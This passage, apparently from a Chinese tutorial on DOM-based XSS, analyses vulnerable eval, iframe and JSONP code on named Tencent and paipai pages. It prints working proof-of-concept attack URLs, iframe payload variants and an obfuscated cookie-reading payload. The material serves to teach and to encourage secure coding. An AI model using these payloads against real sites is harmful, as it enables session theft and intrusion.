    str += '<object width="' + w + '" height="' + h + '" id="' + eleid + '" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0">';
 
    str += '<param name="movie" value="' + url + '" />';
    str += '<param name="allowScriptAccess" value="never" />';
    str += '<param name="allowFullscreen" value="true" />';
    str += '<param name="wmode" value="transparent" />';
    str += '<param name="quality" value="autohigh" />';
    str += '<embed width="' + w + '" height="' + h + '" name="' + eleid + '" src="' + url + '" quality="autohigh" swLiveConnect="always" wmode="transparent" allowScriptAccess="never" allowFullscreen="true" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"></embed>';
    str += '</object>';
    document.getElementById(elm).innerHTML = str
}

我们很容易的想象到了构造< img src=# onerror=alert(1)>，对尖括号进行URL 编码就可以了。实际上，就这一个漏洞，我们不仅可以使用URL 编码的方式。结合我之前说的浏览器的解析顺序，在这里，从URL 获得的参数，进入脚本，脚本调用DOM 操作，修改DOM 树，所以我们用Unicode编码也能最后得到解析。

我们始终说，安全编码是一个不容易的技术，因为一步疏漏就会在最终造成满盘皆输。所以，对于开发者，想要真正构建安全的程序，就必须对程序所涉及的技术框架了如指掌。比如对于Web,应该对浏览器的原理，HTTP/HTTPS,各种编码原理，JS&CSS&HTML，PHP&ASP，的安全部分都有一定了解，才能在构建程序的时候，抓住最关键的部分，确保不出问题。

深入源码，邂逅eval和iframe

前边的分析过程，看起来还是比较浅，不论是直接在源码中出现的，还是在elements 中出现的，他们都是通过JavaScript 的document.write 或者是 innerHTML 输出到网页去了，所以还是可以轻松的在开发者工具那里看到输出的位置。但是，如果一部分输出，最终没有流向innerHTML 或者是 document.write，就需要安心下来慢慢挖掘了。

腾讯的栗子：
http://kf.qq.com/search_app.shtml?key=aaaaa

跑去源码和开发者工具里搜索一通，都没有搜索到，下面，我们换个思路，进入console 中，看能否发现一些。我们按照往常，在URL 的参数里，构造一些特殊字符，单引号，双引号，尖括号，斜杠，一般来说，双引号单引号都会最早被过滤，所以一般斜杠的几率还大一些。我们构建之后，查看结果返回一个错误的信息：

右边能点开帮助文档，能看到源文件，那我们进源文件好好看看到底哪里出错了，有没有机会绕过。我们定位到代码的位置，上下文大约如此：

var getarg = function()

{
    var url = window.location.href;
    var allargs = url.split("?")[1];
    if (allargs!=null && allargs.indexOf("=")>0)
    {
        var args = allargs.split("&");
        for(var i=0; i<args.length; i++)
        {
            var arg = args[i].split("=");
            eval('this.'+arg[0]+'="'+arg[1]+'";');
        }
    }
};

这就是最简单的从URL 中获取参数的代码，url 是原始的url,allargs 是问号之后的参数部分，然后通过& 分割的开来，然后对URL 中每一个参数键值对，用一个eval 来执行记录操作，也就是执行了eval('this.key'="aaaa";')，eval('this.'+arg[0]+'="'+arg[1]+'";');两个参数分别对应了等号左右的键和值，虽然我们没有在页面里看到输出，但是它实际上还是输出了。

那么，我们不仅可以对值进行替换，还可以对键进行替换尝试，我们先替换一下arg[0] 试试：

this.key="aaaa";
this.key;alert(1);//="aaaa";

变成上式那样的，就可以弹窗了，双斜杠形成注释，截掉了后边的内容。测试一下这个URL：
http://kf.qq.com/search_app.shtml?key;alert(1);//=aaaa

弹弹弹，那么后边的值部分可以不可以呢。

按照惯常思路，使用双引号闭合，然后加入利用函数：

this.key="aaaa";
this.key="aaaa";alert(1);//";

构造出来的URL：
http://kf.qq.com/search_app.shtml?key=aaa";alert(1);//

但是，对于chrome等非IE 浏览器，实际上，对于URL 出现的双引号，会将其进行URL 编码，在HTML 解析的时候，无法完成正常的语法结构，也就失效了，不过上述代码在IE下是有效的。

下面我们再发现输出在iframe中的，因为iframe 后边可以跟src ，有时候为了方便嵌套小框架，会从URL里读取参数，然后构造成地址，输出在iframe 的src 中，形如：< iframe src="[输出]">< /iframe>。

但是，对于src 来说，我们可以插入伪URL ，来执行JS 代码，常见的插入在前边也说过，对于iframe 可以有以下几种：

• < iframe onload="alert(1)">< /iframe>
• js伪url: < iframe src="javascript:alert(1)">< /iframe>
• IE下的vbscript执行代码： < iframe src="vbscript:msgbox(1)">< /iframe>
• Chrome 下data的协议执行代码：< iframe src="data:text/html,< script>alert(1)< /script>">< /iframe>
• 如果尖括号被屏蔽，还可以使用HTML 实体编码：< iframe src="data:text/html,&lt ;script&gt ;alert(1)&lt ;/script&gt ;">< /iframe>
• 以及Chrome下srcdoc属性:< iframe srcdoc="&lt ; script&gt ;alert(1)&lt ;/script&gt ;">< /iframe>

下面继续从乌云上的栗子开始学习：
http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=aaaaaa&gid=yl&cid=68&from=

仍然使用最简单的方式去开发者工具里找输出，看到被带到了iframe 的src 中去：

尝试用最简单的方式构造一个弹窗：
http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=javascript:alert(1);&gid=yl&cid=68&from=
结果失效：

看来是被过滤掉了，那么寻找到这个iframe 的处理操作，去找找问题，在js 源码里，找到了相关的处理：

function OpenFrame(url) {

    if (url.toLowerCase().indexOf('http://') != '-1' || url.toLowerCase().indexOf('https://') != '-1' || url.toLowerCase().indexOf('javascript:') != '-1') return false;

    document.getElementById("toolframe").src = url;

}

实际上，他做了最简单的过滤，仅仅是不允许JavaScript 伪URL，而url 参数，我们寻找turl 参数，源码中，并没再做更多操作：

var tool_url = getQueryStringValue("turl");
...
openFrame(tool_url);

那么我们就可以用上边说的使用VBScript来在IE 下XSS，可以在Chrome 中用date 来构造XSS。

IE： http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=vbscript:msgbox(1)'&gid=yl&cid=68&from=

Chrome: http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=data:text/html,<script>alert(1)</script>'&gid=yl&cid=68&from=

p.p1 {margin: 0.0px 0.0px 0.0px 60.0px; text-indent: -19.2px; font: 16.0px Courier; color: #66cccc}p.p2 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px Courier; color: #cccccc; min-height: 19.0px}p.p3 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px 'PingFang SC'; color: #cccccc}p.p4 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px Courier; color: #999999}p.p5 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px Courier; color: #e6424b}p.p6 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px Courier; color: #cccccc}p.p7 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px Courier; color: #999999; min-height: 19.0px}p.p8 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px Courier; color: #cc99cc}span.s1 {font: 16.0px 'PingFang SC'}span.s2 {font: 16.0px Courier}span.s3 {color: #999999}span.s4 {color: #c33795}span.s5 {color: #233fd0}span.s6 {color: #e6424b}span.s7 {color: #8b86c9}

**# DOM XSS****奥义**** **

一些我们普遍了解的XSS 基本已经让大部分开发者们警醒，也都做了足够充分的教训，所以想要像以前那样随意的挖洞就不可能了，但是XSS 是无穷的，只要能深入源码，总会有所发现。

常常程序会动态加载json 数据，同域可以用ajax,而不同域时，就需要跨域请求，有一种方法是jsonp,利用callback回调完成跨域，而在调用外部数据的时候还会带上一些参数，而如果这些参数可控，我们就可以试图去挖掘漏洞。

对于跨域的请求来说，最常见的形式是这样：

somescript.src="http://otherdomain.com/xx?jsonp=callback"

而为了方便，callback 后边会带上一些参数，有一些参数是用户可控的，那时候，就会造成困扰了：

somescript.src="http://otherdomain.com/xx?jsonp=callback&id="+id;

如果其中的ID 可控，那就很有可能会带来问题，这算是一种地址可控，而地址可控分为三种形式：

一种是，完全可控，也就是src 后边的内容可以直接替换掉，这种可以直接利用，替换成我们的JS 地址。

一种是部分可控：

script src="/path/xxx/[路径可控]/1.js"

这种情况下一般是在同域下寻找一个有漏洞的上传点，上传些文件什么的，以便利用。

第三种情况是参数可控：

script src="/xxxx/json.php?callback=xxxx&param1=yyy&param2=[参数可控]"

以乌云某例为例：
http://sse1.paipai.com/comm_json?callback=commentListCallBack&dtag=1&ac=1&cluster=1&sellquality=0&NewProp=&Property=256&PageNum=1&PageSize=48&OrderStyle=80&Address=&SaleType=1&degree=1&AuthType=2&BeginPrice=&EndPrice=&KeyWord=2012%20%D0%C2&OnlineState=2&Paytype=4&ranking=&sClassid='aaaaaaaa&t=1354854681

经过简单在这个页面测试，我们可以发现，其中的callback, dtag, ranking 是可控的。不过可控的元素还是会被过滤的，比如常见的尖括号就一定会被过滤。

实际在使用中，访问这个跨域数据的是以下URL:
http://bag.paipai.com/search_list.shtml?type=&callback=alert(1);&np=11&pro=256&searchtype=2&cs=0010000&keyword=&PTAG=20058.13.13

因为dtag，ranking 是放在双引号里的，过滤了双引号，基本很难有可以应用的地方。而callback 则不是，如果能构造一个callback=alert(1) ，就可以执行XSS，不过在我们发现写在一开始的callback 并不能直接去改变值来控制它，我们可以想办法通过后边可控的参数，用&来分隔后再来一个callback=alert(1)来覆盖前边的callback。

不过一般来说，如果你在构造URL 的时候，如果使用了&，那就会直接认为你这是分隔符，这个方法就失效了。而如果我们试图使用%26 这个URL 编码来代替，但是它在传递的时候，并不会解码，所以也不会让服务器解析的时候才认定他是分隔符。

所以，只能去从源码里找漏洞,我们找到他的search.js脚本，定位到那一块观察上下文：

function init() {

        var keyword = decodeURIComp($getQuery('keyword')),

        type = $getQuery('type'),

        searchtype = $getQuery('searchtype');

        option.keyword = keyword;

        option.classId = type;

        option.searchType = searchtype || option.searchType;

        option.beginPrice = $getQuery('bp');

        option.endPrice = $getQuery('ep');

        option.NewProp = $getQuery('np') || $getQuery('newprop');

        option.property = $getQuery('pro') || option.property;

        option.cid = $getQuery('cid');

        option.Paytype = $getQuery('pt') || option.Paytype;

        option.hongbaoKeyword = $getQuery('hb');

        option.conditionStatus = $getQuery('cs') || option.conditionStatus;

        option.showType = $getQuery('show') || option.showType;

        option.mode = $getQuery('mode') || option.mode;

        option.address = decodeURIComp($getQuery('adr'));

        option.orderStyle = $getQuery('os') || option.orderStyle || 80;

        option.hideKeyword = $getQuery('hkwd') == "true" ? true: false;

        option.ptag.currentPage = $getQuery('ptag') || $getQuery('PTAG');

        var pageIndex = $getQuery('pi'),

        pageSize = $getQuery('ps');

        option.pageIndex = (pageIndex && $isPInt(pageIndex)) ? pageIndex * 1: option.pageIndex;

        option.pageSize = (pageSize && $isPInt(pageSize)) ? pageSize * 1: option.pageSize;

    };

这里的脚本，就是jason参数和当前页面获得参数的一些关系，而其中有一个函数让我们看到了希望： decodeURLComp，它在传进来的时候，会被解码一次，有木有想起什么。对于这个keyword，如果我们使用了URL 编码传%26进去，他会解码成&，那么我们直接使用%26callback=alert(1)，那就可以会被解码成一个分隔符，然后出发我们的漏洞。

构造URL：
http://bag.paipai.com/search_list.shtml?type=213280&np=11&pro=256&searchtype=2&cs=0010000&keyword=%26callback=eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41));void&PTAG=20058.13.13

抓个包，可以看到接收的json 数据已经得到改变：

弹窗就是自然的了。

其实，这个漏洞已经显得有些运气成分了，也可以说是开发者在业务的逻辑关系变得复杂之后，往往就缺乏足够的安全意识，去处理这些跨域安全问题了，往往在源码上，会造成一些漏洞。上边的例子我们也能看到，本身在过滤的逻辑上，已经很难寻找漏洞，但是因为开发者在处理流程的时候，没有去思考它可能的上下文关系，也就主动创造了一个漏洞出来。

DOM XSS 的内容，大概也就这么多了。在DOM XSS 漏洞的挖掘中，最常用的自动化挖掘方式，其实就是利用爬虫和抓包重放，爬虫通过遍历某网站的各种结构URL，然后抓包重放去构造独特的字符替换掉URL中那些可控的参数，通过服务器返回的状态，和内容，去挖掘可能存在的不安全因素。

而挖掘到不安全因素，只是XSS 最早的第一步，现在，那些最常见的漏洞已经基本销声匿迹，需要的是通过分析源码，寻找某个点的上下文关系，通过理清逻辑关系，寻找开发者在其中的疏漏，才能创造出合适的XSS。